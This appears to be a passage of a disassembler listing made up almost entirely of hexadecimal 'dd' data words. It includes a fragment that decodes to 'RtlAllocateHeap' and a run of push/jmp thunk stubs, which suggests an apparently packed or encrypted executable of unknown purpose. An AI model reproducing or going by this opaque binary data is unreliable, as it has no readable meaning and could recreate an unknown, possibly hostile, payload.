		dd 0B9h, 8C31CEAAh, 0B95D0C81h,	0C178953Ah, 85A2DB78h
		dd 0C92D2996h, 46ACE2B1h, 9D413096h, 4E97B772h,	0B4C556ABh
		dd 31299636h, 0C6FE274h, 0AF299637h, 0FCF8828Ah, 0E73451E5h
		dd 0DCAAB847h, 4D2FDC00h, 700900D4h, 6143B5F8h,	151CDh
		dd 0CEB30000h, 78CEDD46h, 6589968Dh, 46736A86h,	0D61BCEBFh
		dd 0B093A92Bh, 9CF58200h, 6A86717Ah, 56837CA5h,	61469FAFh
		dd 976E5B78h, 0AD10A752h, 4631BA5Ch, 867164A9h,	0DE2E9F64h
		dd 72E3BBA7h, 98E172C7h, 15299605h, 2B37C668h, 0B64F7C83h
		dd 0A26D51A0h, 0AB5C8077h, 6A9D3D2Ah, 997BB663h, 0D1217192h
		dd 3DF71772h, 24D8359Ah, 0A7608C0Ah, 0A1648572h, 6B53548Dh
		dd 6B331A4h, 314EA0Eh, 0A13DCF95h, 7493A36Eh, 0A1668666h
		dd 0BA219E7Bh, 8F30BF4Fh, 0D5A8B38Eh, 522995EFh, 0EFB3C655h
		dd 73302995h, 4E7C83BEh, 5F48A1B5h, 97785879h, 538E4316h
		dd 0F00C6DAEh, 5B822995h, 8C7227AEh, 0E2667F8Fh, 8E7B625Dh
		dd 3DBC5207h, 0CA4B3511h, 0EB6C4D2Fh, 0AF000000h, 0E5B0C98Ah
		dd 702D2995h, 73CE58DEh, 968595E8h, 1151229h, 43DCAF2h
		dd 0B538CFFBh, 8E9952E4h, 0C649A52Ch, 2ACF1ACFh, 0D7DE318Dh
		dd 0D1349502h, 1BC3A43Dh, 0D6F601F4h, 3D28BC31h, 0BBBE5D11h
		dd 38299685h, 0EA8F864Bh, 0F618EBCDh, 0E9D1DB07h, 0E8D4FFECh
		dd 36E3EA1Fh, 3E9E49FBh, 8DFA24ACh, 5A8F7F79h, 0AE675453h
		dd 96700C6Dh, 559C8929h, 14DB860h, 9B68526Dh, 5DB00D1Ah
		dd 4F488158h, 7C2DA06Fh, 4A4B35DAh, 847B4D2Fh, 0A646B15Ah
		dd 99BD6C61h, 7B8Dh, 608C5700h,	9A4126A7h, 0B3358A52h
		dd 0F732E36Ah, 0D42D12F6h, 95A33647h, 5506B329h, 2995A324h
		dd 92DE4A1h, 0F742ECFAh, 293E9A15h, 0F4FF0BB9h,	2995CC89h
		dd 4011FC06h, 0FC662200h, 0EAD22135h, 0F3DA03EBh, 0FFCA9F16h
		dd 0EB16DB8Eh, 0F81EE7D4h, 648CE03Eh, 0DD992AABh, 59299685h
		dd 52DD7D75h, 64DC2E36h, 9D3F28ADh, 2CE3676Eh, 45A0603Eh
		dd 0C4B32D19h, 1744D2Fh, 0CE000000h, 30A55E8Ch,	6667A647h
		dd 333925E4h, 92C67E85h, 0F823DE04h, 2F8FA73Ah,	23A9504Dh
		dd 0EAD08FD7h, 698294F6h, 9FDA79C0h, 1C239CC6h,	0C699E46Fh
		dd 6916239Ch, 7E5F8EA0h, 799A7D5Dh, 239CC700h, 8049807Dh
		dd 0A73A059h, 87239CC7h, 0C71069AAh, 908D239Ch,	5C7BB559h
		dd 1069AA73h, 8D239CC7h, 0AF545990h, 239CC6CCh,	0BF43A546h
		dd 0E90FA81Eh, 8C6B62A7h, 0DDA0BB64h, 5A239CD8h, 867164ADh
		dd 7930A56Ah, 623C2AE1h, 0CB636F96h, 6200F949h,	0D5797EC1h
		dd 0B054B916h, 0B0848587h, 70CDF45Fh, 42AE0FDEh, 0D3266D37h
		dd 833BC2D0h, 0B1986547h, 0C56469A0h, 0D678953Ah, 0A257B617h
		dd 0DC35B515h, 134A7DEh, 95444980h, 5E7F6881h, 92393EAFh
		dd 72867677h, 0F486B6Eh, 9553004h, 0D722D755h, 9D2F413Ch
		dd 0F817B723h, 3F9E1906h, 89D524CAh, 7EFF1CE5h,	0FB239D2Fh
		dd 0E409E80Eh, 2F5F1A39h, 1FDC239Dh, 33AD32EAh,	0F448D60Bh
		dd 1BCh, 3169FF4Eh, 57223108h, 0D4299685h, 0E92A0727h
		dd 2F8F919Dh, 21ECD100h, 0D902FDACh, 39F0A92Ch,	5F1A3900h
		dd 17239D79h, 9D7981FCh, 9D01FE23h, 0D4954EE0h,	0B80A3400h
		dd 8715F718h, 866651B6h, 0B95D0C81h, 0A746953Ah, 56BE6B62h
		dd 52D45469h, 1FC50CD5h, 4BF617B8h, 8C010AB4h, 0C7B039DDh
		dd 732E726h, 9CB5314Ch,	1FBFAE23h, 0CC1539F0h, 382D9F58h
		dd 0CCB37323h, 2836C569h, 86537986h, 7732A368h,	0C86E3BB2h
		dd 0B517C429h, 3F8A5F56h, 0B498549Dh, 755D48D6h, 0A7000000h
		dd 0D60365FFh, 0FA3FFA2Fh, 0F95B612h, 40D6E42Eh, 95E44C0Dh
		dd 13BB44A9h, 0E5A25AFCh, 0E41A63F0h, 2D90A995h, 0BC643AAh
		dd 104AB28Ah, 82B11A33h, 5C51B415h, 10F1DDC8h, 59C96920h
		dd 82EA1FFEh, 57B41AA5h, 541A48B7h, 66887F6Bh, 73260FAh
		dd 0F62F905h, 96537904h, 0A309F6A9h, 5F2D1CAh, 0FDAC21E4h
		dd 1E3FDC59h, 0DB2995F2h, 0ADCDF62Eh, 33000000h, 0B62E46CEh
		dd 53036927h, 0E931A7C3h, 4632330h, 3092F8Fh, 49979Eh
		dd 1ED6787Dh, 7A7B8A2Fh, 84636A9Fh, 6B8AB25Bh, 946F5982h
		dd 82914821h, 239D2CF7h, 4B428774h, 9D2DB0C8h, 4F685123h
		dd 4A2DA06Fh, 8AAC65A2h, 607D6F7Bh, 259277ADh, 0B7B343C6h
		dd 0F423C721h, 9D2B1667h, 5B969323h, 5F5E625Ah,	7366DC7h
		dd 41D207C2h, 299F7421h, 0D9DECFCCh, 0ECE019F4h, 3FA1D488h
		dd 5C85A903h, 547681BEh, 0CB6B3EAFh, 27B12E3Ch,	22D500Bh
		dd 0DAA1D9Bh, 9B022B4Eh, 36FBA81Dh, 4FB46FBh, 2A1D31DAh
		dd 239D7038h, 20FE26E3h, 83169FFh, 1C88BD04h, 0A7478F9Fh
		dd 0AD99C98Ah, 25442F98h, 62AB14C9h, 8C6B62A7h,	9D6FAA63h
		dd 27F09FE3h, 59242FBEh, 0D623939Eh, 0D6F7E029h, 53E3B637h
		dd 14B740E9h, 2D9261F5h, 1EBE39E0h, 0AF20C2CCh,	0D31E00A6h
		dd 0FEE707E2h, 2455063Bh, 0A1239400h, 93FF52E4h, 552E464Bh
		dd 0AC0E4094h, 1974E17Bh, 886154AFh, 4EAD41h, 0B218C32Ch
		dd 81649851h, 3B3CB15Ch, 35C2778Eh, 66867194h, 0D97D2CA1h
		dd 8CB58A10h, 0E264AECFh, 0C0612B18h, 45EA8B61h, 0B847E722h
		dd 0F01DC2AAh, 0E107F049h, 56681122h, 6E518E2h,	0F9B025EAh
		dd 0B1141E30h, 0ED8C010Ch, 991CE9D2h, 16BD2EC0h, 3000000h
		dd 7B2846CEh, 6DA63335h, 29D0ADC9h, 95C68FEAh, 0FF0F0C29h
		dd 0AC658C39h, 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch
		dd 7D8A3235h, 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89521BCCh
		dd 0B1BF57E2h, 8145B876h, 0B876B5F7h, 5FFA0145h, 8704EA83h
		dd 685C2414h, 5B30h, 68241C89h,	6BA8h, 51242C89h, 0D642B8B9h
		dd 4E1C112h, 0B850D9F7h, 34631008h, 26498D25h, 66753545h
		dd 0C129C8BBh, 59CB8958h, 242C8B54h, 5204C483h,	8950DA89h
		dd 84589D0h, 34FF5A58h,	0C4835D24h, 241C8B04h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 0F709C9E9h, 0C9B834FFh, 3060274h
		dd 62E0FFC5h, 0C57A7138h, 0B856C2DAh, 962560D0h, 981A58F7h
		dd 0C55FDBA3h, 261D58C4h, 171AA64Eh, 0B11183FCh, 0A34DA3AFh
		dd 0A439BB0Fh, 0FC4D2CE6h, 690D7B59h, 0F66106C4h, 0F227AC22h
		dd 6B4A7CA9h, 0C52D29A4h, 577CF55Fh, 8D2D703Fh,	276798Dh
		dd 0F28B6606h, 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 800F6AC3h, 6,	13499589h
		dd 0BD8B05F9h, 5F92735h, 26C185C7h, 642005F9h, 958B0000h
		dd 5F904A1h, 0FD85C7h, 5F9h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 881DDDC3h, 858B246Dh
		dd 5F9295Dh, 13ADB5FFh,	6A05F9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 1F23A8C3h, 0DDB8C213h
		dd 9589E38Ah, 5F92585h,	20D595FFh, 6A05F9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 83DEE1C3h
		dd 61F0001Eh, 0D9D8BA7h, 6A05F926h, 0ED95FF00h,	8B05F91Ah
		dd 0CD2FEBC0h, 0ABAD3650h, 0D3841C17h, 0F906C31Fh, 7DC40500h
		dd 83BB8F4Eh, 38AAF125h, 779FD083h, 0CA09CF7Dh,	4BEED93h
		dd 1759F5EBh, 0B756B66Ah, 4E9A8E2h, 0EB000000h,	0E93F3A99h
		dd 810h, 123EED1h, 0EF15FAD6h, 0FB21E208h, 0EE16EFDCh
		dd 24E307h, 0CB0EF22h, 409E49FBh, 0FAE19CBh, 3AA342FAh
		dd 0F6C331D3h, 940F1465h, 1CDC9123h, 6FAA638Ch,	85F089CAh
		dd 0B06D2996h, 5DA4459Eh, 9685BBBEh, 202E3829h,	76838DC8h
		dd 43B2448Dh, 29CC7097h, 0A54449C4h, 0C056B31Ah, 82918C31h
		dd 299656F7h, 4B428774h, 568B846Ch, 570D70ABh, 9D8A2996h
		dd 0AFD7079h, 2EEFD0DCh, 96568CEDh, 2BD80229h, 0E103CEBBh
		dd 0EE1DBF38h, 26C532E7h, 39A453E3h, 55A329D0h,	975452A0h
		dd 0A74EE80Eh, 0B12A9344h, 21F8FD08h, 41F821E8h, 96476712h
		dd 1737E429h, 0D603E9CEh, 0CE9B12F7h, 33089203h, 0E55E66E1h
		dd 0D9006C38h, 964C3F3Ah, 2FBFBC29h, 43AA82D0h,	1B6580A9h
		dd 0BC75657Fh, 0B95A9F88h, 299665C0h, 5CB10E3Dh, 4D728195h
		dd 3046CDC0h, 0D5299665h, 0F742ECFAh, 9665215Ch, 4DE19E29h
		dd 2F7D24B8h, 0E507F04Dh, 9A141026h, 0EE000000h, 818C31CEh
		dd 0AC617E6Dh, 0EE8FCC75h, 6B299685h, 85EC8DCEh, 0BC692996h
		dd 6108E175h, 72A17656h, 29968607h, 0BC529784h,	9685EE89h
		dd 82836829h, 2BC12C0Bh, 1F5A7BAh, 0DBD217B9h, 1AC412FDh
		dd 4BE3EFC6h, 9615BDC9h, 8096213Ch, 2FF8D18Bh, 1964Dh
		dd 0CE700000h, 0D97D8831h, 0C327B61Ah, 51985144h, 9C735B5Ch
		dd 26AD0E19h, 975243C8h, 715C5B52h, 0A8121598h,	13E25A5Bh
		dd 211617C7h, 46973735h, 808F2FA6h, 20955C0Dh, 9A6F4E49h
		dd 598B4613h, 88BC516Eh, 0E873CEA6h, 29968595h,	0F2011512h
		dd 89A820CAh, 996C0D4Eh, 3CE92995h, 0D92D7DD8h,	0E3DC9D10h
		dd 0EFDDFF8h, 9617D287h, 1CC433C3h, 37F21DC1h, 36D9F502h
		dd 0F213B8BFh, 53E32EFBh, 775DFA9Ah, 97CCDE33h,	0A05FEF19h
		dd 0D903FCB2h, 5DFEBB32h, 2995F91Ch, 1125EC99h,	0D70DFAE2h
		dd 0D821CFF0h, 0F4D1F3B5h, 280F864Bh, 5FAE0FC2h, 9A4423AAh
		dd 0B9709F3Fh, 82893334h, 14424D0Bh, 0B96FFA2Dh, 8841BC57h
		dd 7D499570h, 4D2F5513h, 30931A3h, 24AE9EA2h, 0E31612h
		dd 8CF00000h, 8326A760h, 8D5C5E91h, 0C96DC2A3h,	5243C02Ah
		dd 10858865h, 2A29C527h, 6800691Ah, 5EFCF138h, 7AFBA3AFh
		dd 0B0C98AAFh, 2D299588h, 331FDE70h, 0CE769139h, 0FA839069h
		dd 77299588h, 6585648Ah, 9F4C2BA2h, 68518C34h, 9861549Dh
		dd 9589027Bh, 47827F29h, 6A9F7050h, 0AD568463h,	6C9B3F28h
		dd 0A95E7E69h, 0E81F7524h, 3FCCF2FAh, 0CA569B4Eh, 75571743h
		dd 0E23A85C1h, 423BD8A3h, 0BF2995C4h, 22E707C2h, 4D2F9DBEh
		dd 98F7h, 0FAD4A00h, 8CE45AFCh,	0B0537560h, 48736C3Dh
		dd 0D41DCCC1h, 399F18E1h, 26C524CAh, 851568F3h,	95922996h
		dd 0BF5CA55Ch, 299684BEh, 3FA84E3Bh, 72576059h,	88D7861h
		dd 44159851h, 5585CC70h, 749A79BEh, 67535985h, 3ABB506Eh
		dd 886FAA5Fh, 0A690A667h, 0AB648C88h, 0ED90CB76h, 6A299685h
		dd 0C35099BDh, 299685B7h, 9E4CB35Ch, 95B97065h,	5EB67866h
		dd 0B3186B20h, 268E5B52h, 97B778FBh, 2FB0FE72h,	0FB74Dh
		dd 828A0000h, 0ECCE44FAh, 0F1C39617h, 2FBF4F89h, 735E8C09h
		dd 0D207C249h, 960104E5h, 7E2D338h, 0C43BFEE7h,	2BFEEF18h
		dd 0D803EC0Bh, 24DD14F5h, 853B3EDDh, 8B12996h, 0BD21F8FDh
		dd 0B2B52EC0h, 0EFF8FD0Ah, 8A4E3FCEh, 7C975783h, 29968601h
		dd 0B248817Eh, 0BB1D0F5Bh, 0AB689148h, 299685D2h, 0C8B1624Fh
		dd 45299685h, 0AB689158h, 299685D2h, 72BC524Fh,	44C12A95h
		dd 0EA769851h, 0A4EA097Ch, 14EF1CE9h, 1C83FABh,	0FEAB21D8h
		dd 747BB910h, 0D712F9E3h, 661E1437h, 956C2F8Fh,	9D22F386h
		dd 0A3B37023h, 4027AE5Bh, 61B36E9Fh, 0DB1A0F31h, 31E2171Eh
		dd 239D1F48h, 0FC36D8C5h, 5E7F4D9h, 42A88F06h, 0D41DCCC1h
		dd 0F0DBE41Dh, 0C33BB319h, 1A6E6444h, 1368EBF4h, 8D239D4Eh
		dd 0CDDADB2Eh, 0D49518EBh, 9D4E3647h, 7FF6B323h, 3C845A88h
		dd 4E690551h, 7A799D72h, 9F648655h, 8BB67B2Eh, 0CBC24B74h
		dd 0C00902ECh, 0FCE1042Eh, 211E811h, 239D4E77h,	2A9007F4h
		dd 0CBAC35D9h, 0C936EB22h, 38F1E41Fh, 0A257CD16h, 897A6057h
		dd 0B3C65504h, 30239D4Eh, 3624E373h, 4D629478h,	40BD245Fh
		dd 7F9E3FAEh, 9CBDA9D4h, 0B0792623h, 1F168389h,	0F5F811BCh
		dd 5CC8D024h, 519E98BEh, 48D6149Fh, 9E6F5067h, 1DBAC78h
		dd 0CA6F0000h, 9D30F089h, 9EB06D23h, 3169FF98h,	3ECDEF08h
		dd 0D9E61B18h, 0CA9F16F1h, 91652124h, 0A9C82F8Fh, 8C01C843h
		dd 40DB42ABh, 239D793Dh, 0E004CDBAh, 0C035D8F5h, 25C516B7h
		dd 2EA627E2h, 0DAA3B089h, 57239D79h, 697584AAh,	59815A83h
		dd 9A7227AEh, 5CC65D07h, 26DB1696h, 0E1D42F99h,	0DE13F8D6h
		dd 7FF1FE38h, 4748D642h, 4A090AB0h, 239D5A2Fh, 0B33AEFACh
		dd 83D450E6h, 2E000000h, 164565FFh, 29968563h, 0B016F1D9h
		dd 58033EF3h, 0A9968505h, 0E02793C2h, 0C31CF029h, 66840E66h
		dd 840FD87Eh, 0A99646F9h, 3ABB4A6Fh, 737A8D2Dh,	46D4A5B6h
		dd 5451A996h, 20E1EDD8h, 4BEEBED3h, 5A32F748h, 886F3F2Bh
		dd 3B048664h, 0AE11D2D1h, 0D97D363h, 66F724DDh,	23299621h
		dd 2C59BB66h, 0A9810783h, 5CFB065Eh, 7C799278h,	40B760DAh
		dd 0B6636A9Bh, 0E34FA0h, 0DAA0000h, 82575EB1h, 31CEC66Ch
		dd 8CD87E89h, 0A72E8E1Ah, 8B02C746h, 85F823DEh,	2299685h
		dd 615CC05h, 2F8F867Ch,	24E508E7h, 0B641E8EDh, 9362F419h
		dd 9641E32Ah, 0D9F0E439h, 0AF9D487Bh, 0C03F3AD9h, 0BFBC239Ch
		dd 7800830Ah, 19239CC1h, 0E30CE0EEh, 0BF15F22Ah, 2ED40A2h
		dd 0BCA84E62h, 0AE49F02Ah, 35F4F90Eh, 9D825326h, 1ED3D023h
		dd 0F9063BF8h, 2E2135D0h, 299FF8F9h, 57866A55h,	575E9372h
		dd 97846C82h, 0BF209762h, 0BCCAD4Eh, 5C491D9Bh,	82947B63h
		dd 7A617E69h, 6841B451h, 0BD7A2B1h, 0A7541D9Bh,	0A040B762h
		dd 8BAB7E6Fh, 551B862h,	2BD60C9Ah, 7E2415A9h, 89CA5A70h
		dd 1D9B6AF0h, 0D579B06Dh, 0B516A158h, 0A08BBE50h, 0C1239DE1h
		dd 70B71DC4h, 0F1E90F13h, 291323h, 2036D5F7h, 0E146CE1Ah
		dd 780E7C6Eh, 2892EB28h, 120F2996h, 0BD2B37D7h,	0BC85BC65h
		dd 9628DE9Fh, 88AE5B29h, 989F62C5h, 5B86832Fh, 7D5F7A64h
		dd 9752078Eh, 6E5C4316h, 0C1688195h, 0E792C178h, 642393B1h
		dd 0B1E19CB7h, 74572393h, 0A0743195h, 52E175E8h, 9E80E74h
		dd 7F029E4h, 271125E4h,	0C3D11FC0h, 1004A062h, 0F59E0FDAh
		dd 5CCCB757h, 4B42C127h, 38A836Ch, 0CE90BEB9h, 0B415A247h
		dd 103EBD51h, 0C428B31Ch, 0E9B5C853h, 7532EA5Ah, 0A96039BCh
		dd 0EF8AC970h, 6CEA5AE9h, 32959FAFh, 6C0D808Dh,	2DA06753h
		dd 7065A24Ah, 0FDE70B9h, 0B05A5BAAh, 0BE1F0D59h, 0A618D732h
		dd 0E605187Bh, 123EE23h, 0A114F9D6h, 0FFEDFD8h,	0CA2BCB9Eh
		dd 3, 8C390FF6h, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah
		dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh
		dd 79B968h, 243C8900h, 81E18951h, 4C1h,	4E98300h, 5C240C87h
		dd 52241C89h, 0C281E289h, 4, 8704EA83h,	895C2414h, 6852243Ch
		dd 6107783Ch, 7FC2815Ah, 52A4FAFEh, 0EC835A5Bh,	24248904h
		dd 4240483h, 573A685Fh,	1C890000h, 8478F24h, 5F2434FFh
		dd 8B04C483h, 8956241Ch, 4C681E6h, 83000000h, 348704C6h
		dd 4BE95C24h, 1BFFF700h, 1F0DA8D8h, 0CB883B5Dh,	27E4FB8h
		dd 0FFC50306h, 95BD1E0h, 3E606C5Dh, 8619C69h, 0A377FA34h
		dd 21C12647h, 4B759E48h, 38D08337h, 0D2BC5E76h,	97AC3F0Fh
		dd 0DCFE6862h, 6A42330Eh, 0B553A141h, 2095E952h, 7D27734Bh
		dd 5D7BC916h, 544CB80Ah, 49EB8A44h, 1652C52Ah, 38385017h
		dd 0C6577E44h, 0D0699A60h, 0E1F23504h, 2B00B823h, 2987E602h
		dd 5BD2F937h, 60A4207Eh, 44E93Dh, 0FE4B0000h, 74523923h
		dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 0Ah dup(0)
		dd 0FBE90000h, 68000016h, 6028216h, 0F6FF79E9h,	838D68FFh
		dd 6FE90602h, 68FFF6FFh, 6028695h, 0F6FF65E9h, 87FA68FFh
		dd 5BE90602h, 68FFF6FFh, 6028CE3h, 0F6FF51E9h, 8DDD68FFh
		dd 47E90602h, 68FFF6FFh, 6028E23h, 0F6FF3DE9h, 8F9E68FFh
		dd 33E90602h, 68FFF6FFh, 602907Ah, 0F6FF29E9h, 910968FFh
		dd 1FE90602h, 68FFF6FFh, 602934Bh, 0F6FF15E9h, 94A668FFh
		dd 0BE90602h, 8AFFF6FFh, 5372AA67h, 5580A46Bh, 896C9073h
		dd 587FA560h, 0D3719374h, 4EB9215Eh, 7E8D2F96h,	4DBC1FC6h
		dd 7E8F3097h, 0C05B1CC6h, 239405BDh, 8CF3953Ah,	886FAA63h
		dd 45588462h, 0EE243281h, 25C5B223h, 0F33EEBE2h, 409D8A63h
		dd 0AB21C8CDh, 6EC6B2E9h, 3F20492h, 40831D8h, 87E0BE01h
		dd 0E065C26Fh, 8711E00h, 0B3B42DC1h, 419BE307h,	5FE49784h
		dd 974423AAh, 0BE98A551h, 8F5A6250h, 0B39F861Eh, 0AAB857EBh
		dd 49F01DC2h, 75D61FC3h, 95E693E6h, 0C1131029h,	1026BB7Ah
		dd 0EC1BBF26h, 0DD308D38h, 1FEECFD8h, 28DBFDFAh, 0D862F4A5h
		dd 0E324C82Fh, 59811753h, 73A059A0h, 2995AC0Ah,	0BE1D9A87h
		dd 7F8F4A4Bh, 8EDD76CCh, 0C630A42Fh, 89AAE393h,	2377D875h
		dd 80490F73h, 6099866Eh, 0BFFF7A99h, 7F7C239Bh,	0A8CD766Fh
		dd 87239BBFh, 239C5280h, 63A84EB5h, 48D59F89h, 4D4Eh, 69FF9800h
		dd 0CDEF0831h, 1B183Eh,	2F8F982Eh, 0DB9EBD84h, 58239D72h
		dd 818A34ABh, 1598856Dh, 877E6B54h, 90C35306h, 239D72E9h
		dd 89CA6FC8h, 239D72F0h, 5F9EB06Dh, 4ED99373h, 54AD48D6h
		dd 9D66B6C7h, 0E0763323h, 11344h, 638C9E00h, 66886FAAh
		dd 0D57930A5h, 48BF2B0Ch, 0A0B3B91h, 72228C84h,	0BB2403DCh
		dd 639E5B52h, 9632C5B8h, 0B1454229h, 0CC709D42h, 9637CF85h
		dd 0AE6D129h, 35D99005h, 570419B6h, 29962E26h, 0F92BE6A3h
		dd 0C847A710h, 0F30214C5h, 0D85243CAh, 10FDE24Eh, 0DC05CC9Dh
		dd 0FC12F9E3h, 573E242Fh, 0A82C2F8Fh, 0AAF9E5A0h, 28D06667h
		dd 7A65A049h, 0C871B855h, 54AB0544h, 1D319625h,	69B12713h
		dd 0A3B089B0h, 239CB6DAh, 0C184AA57h, 2998AA38h, 37E607F0h
		dd 0A0C3611Ch, 0E821DE1Dh, 0DA2234E5h, 0B24DF42Dh, 9C5BFB08h
		dd 0D722D730h, 0D82E2BF5h, 90AB76A3h, 1DA086EDh, 9F99BD6Ah
		dd 0A8739438h, 0BFD05B28h, 0C94E5758h, 76000013h, 678EB65Bh
		dd 71548887h, 5D88BC47h, 7453897Ch, 71DBF48h, 1AEDCD8Ah
		dd 32D903E2h, 900EB0Ah,	42CBF4D3h, 0D47F389Ah, 239403A9h
		dd 8CFFC126h, 8572A760h, 7C2DA063h, 55B760DAh, 0AB723DC9h
		dd 18D777BFh, 90AE56B7h, 141469FFh, 0BB5AD92h, 0F02BD61Bh
		dd 2F8ECE3Eh, 9A29AC59h, 239CA8DBh, 20957059h, 5B52B117h
		dd 2EF0DEC9h, 17EFFB12h, 48D68045h, 47E4BB11h, 0E3E8B9B3h
		dd 15DD753h, 0A22A0000h, 0BD67DD3Eh, 61D77705h,	7E8931CEh
		dd 0C41EF996h, 44EA6494h, 1CC548A5h, 42D43BA3h,	0CC1EBEA9h
		dd 3FBC77ADh, 77A267E4h, 8926080h, 2C4DB5FFh, 6F789E53h
		dd 963174E4h, 90CB7629h, 299627EDh, 5A99BD6Ah, 7F846675h
		dd 23C5882Dh, 7C27EFAh,	91EC27D2h, 729966Fh, 0C4C125E4h
		dd 0DD0832h, 0EBE1880Dh, 2C97B698h, 0DA86A8F9h,	16EB164Ch
		dd 95A87405h, 0D802F129h, 0E350E62Bh, 8ED12A38h, 0FC20DD2Fh
		dd 5980DA4Ch, 0BFBA59A0h, 3C239C7Fh, 509CAF3Fh,	0EF299870h
		dd 0BE2FE000h, 43CCF4EBh, 0A7529752h, 0D677CD25h, 83936DC7h
		dd 76A149B6h, 0A13D94E5h, 0FCE2111Dh, 6CB9E0Fh,	6B4D42AEh
		dd 0C207554Dh, 4831E217h, 0BE1DA165h, 31E8ED22h, 0F43ED0CDh
		dd 0AB20C113h, 16EA3E6Bh, 24CA45A9h, 0AB025C5h,	0E7E330F9h
		dd 0A3BFD07Fh, 1252A392h, 0E0FF0000h, 4EC0B31h,	0CCEED90Bh
		dd 0F9E20537h, 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h
		dd 38EC1DC0h, 27DD308Dh, 1E5FFCBDh, 9B239402h, 608C9236h
		dd 6D9475A7h, 9685CBAEh, 0C0294829h, 50995045h,	0FBE40E7Ch
		dd 58FE8D36h, 0CBBC3499h, 0B830C6CAh, 5013624Ah, 9FA74312h
		dd 6A55B26Ah, 22058885h, 8F4A4BB8h, 8C7EB45Ah, 96D8D63h
		dd 0AD6F086h, 4E9CEBFh,	2950D309h, 0E92995F7h, 0DAD12E3h
		dd 0F006060Ah, 0B31DC01h, 0F91A03ECh, 2995D680h, 1AEFCEFDh
		dd 0D6931ACFh, 8F4A76FEh, 2EC08744h, 0FEEF1EBFh, 59537F66h
		dd 9E639974h, 4D2FA3C2h, 0D983h, 78615E00h, 0BD51088Dh
		dd 3169FF77h, 0B1D74B08h, 0BA452F8Fh, 9F57F714h, 36FB0CB0h
		dd 0EC9F40Bh, 7C9257ACh, 5899E063h, 0BF78239Dh,	0DD719238h
		dd 0C37E301Eh, 9D58E598h, 91A56223h, 0D674E07Ch, 94A548h
		dd 7F780000h, 989EB05Fh, 968592E8h, 0CB178129h,	0C641A916h
		dd 37F41ACFh, 8F96B61Ch, 826A892Fh, 90591085h, 9C714E69h
		dd 84AE4019h, 78E7961h,	96795562h, 0B8A44A1Fh, 0E4DF42Eh
		dd 29967B24h, 30C7722Fh, 0A1787D8Eh, 8E86A38Dh,	0B7650688h
		dd 0B916812Fh, 66886154h, 7CA56487h, 3FE396C5h,	0A3601DA4h
		dd 56C05A93h, 3F7EFF1Ch, 33091DA4h, 6081A0E2h, 75BC695Dh
		dd 93E675CCh, 101DA420h, 25360313h, 239D2939h, 2BDEFDECh
		dd 23AEFAAh, 0C98E1h, 31CE1F00h, 0F26E808Bh, 29E20C64h
		dd 1FD339E0h, 0B3C655C9h, 302995D9h, 0A3A8A173h, 0B881AE40h
		dd 0B3A7D281h, 5A242995h, 6533D31Ah, 648A3F87h,	8F7D75E1h
		dd 638C732Fh, 71E099BAh, 0A05D239Dh, 532DC569h,	3993D4B4h
		dd 676EA3DFh, 9CFE9DDCh, 3CC37C23h, 0B2CB8891h,	2F239CFEh
		dd 9D40B772h, 9EB0696Ch, 0D993735Fh, 9E48D6DEh,	1Fh, 0E873CE68h
		dd 29968595h, 0B727DE0Bh, 542124CAh, 4299685h, 0FFFA8E99h
		dd 0F2D7E0FFh, 0FF3D0313h, 2BDAFF69h, 3B063BE6h, 96855D20h
		dd 92DDA29h, 8F9AB046h,	7F76332Fh, 0A9D47FBAh, 26239D6Fh
		dd 372D579h, 0E2239D70h, 95473F2Bh, 5248D64Fh, 734h, 8A31CEB4h
		dd 0B6E56F7Fh, 0B46DB523h, 8F9E6BA7h, 0E1FEF92Fh, 45F20A2Ch
		dd 9D6D6316h, 0C7F1E023h, 0E30AF53Ch, 0C936EB26h, 39F0E520h
		dd 0E8ED22BEh, 0FD1C1D31h, 6D661744h, 26E3239Dh, 9E173D10h
		dd 0DC4ACD62h, 32A36C54h, 0B287B277h, 3CB1CC87h, 712E79D8h
		dd 0D83C97E2h, 0C7671479h, 459DA96Ah, 83807FD1h, 927D615Eh
		dd 68514E1Bh, 0FA70799Dh, 0F40B366Ch, 86B343CCh, 6E9744BBh
		dd 0F90085C8h, 0B86579DBh, 0B55A7681h, 68C56940h, 516D6E4Fh
		dd 0A76237BEh, 8E30C772h, 6E9BDE7Dh, 6B186DE2h,	698671CBh
		dd 37BE4B72h, 484CA762h, 100F91B3h, 0F4A161Fh, 0D8F70000h
		dd 0FCE40339h, 0E406F113h, 0F1DAFD1Fh, 0E505F014h, 0E928FA22h
		dd 1FC542AAh, 4FF516B8h, 20C445A8h, 4FF518B5h, 3647D4A5h
		dd 0B32393FFh, 31CE7A3Eh, 0C08B628Ah, 0D0061A9Ah, 31C59419h
		dd 8FD31DC2h, 0C585B819h, 830AF9DFh, 0DFD61BD6h, 0CB3E9D1Ah
		dd 71A93F2Bh, 0BA7B8BC8h, 39E62F8Eh, 16180C00h,	45253BD1h
		dd 42BD84B1h, 7D6A6B98h, 7029AC5Fh, 775695B9h, 40897A60h
		dd 0F3F93399h, 8E016486h, 9069CE68h, 1CFAA69h, 4F4C239Dh
		dd 9D01B9C4h, 0A5493623h, 6B62A746h, 9D0195E8h,	11126723h
		dd 9503239Dh, 3940944Dh, 0EE3D4819h, 0FB181539h, 29962837h
		dd 365A8F85h, 60FE7895h, 747926CEh, 0A3CEAACFh,	507E891Dh
		dd 0DDEAFA76h, 2EBB46h,	0FF8D0000h, 67124169h, 0E4299685h
		dd 0F247F237h, 0D21E405h, 8FA6583Ah, 0D3C9A32Fh
		dd 56548036h, 1D7D8EADh, 27E27006h, 490AEBE2h, 36000000h
		dd 95E873CEh, 12299685h, 0F3650115h, 0FE58EF8Ah, 0E7D0F65Ah
		dd 13CE0302h, 0C6C740ACh, 25360313h, 2F8ECB1Dh,	0F50EBC43h
